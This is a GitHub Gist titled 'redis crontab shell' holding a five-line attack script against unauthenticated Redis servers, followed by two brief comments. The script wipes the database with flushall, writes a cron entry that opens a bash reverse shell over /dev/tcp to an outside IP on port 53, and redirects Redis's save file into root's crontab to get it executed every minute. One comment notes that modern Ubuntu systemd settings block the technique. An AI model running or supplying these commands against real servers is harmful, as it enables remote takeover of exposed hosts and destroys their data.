Last active
May 14, 2025 16:07
-
-
Save carnal0wnage/df7082a56f1d7bc9681ceb3fea65c0fe to your computer and use it in GitHub Desktop.
redis crontab shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
redis-cli flushall | |
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1 | |
redis-cli config set dir /var/spool/cron/ | |
redis-cli config set dbfilename root | |
redis-cli save | |
from https://phpinfo.me/2016/07/07/1275.html |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
that's pretty cool
apparently on modern ubuntu systemd is configured to protect from such attacks
the most important part is this:
It means redis can no longer write stuff in the crontab directories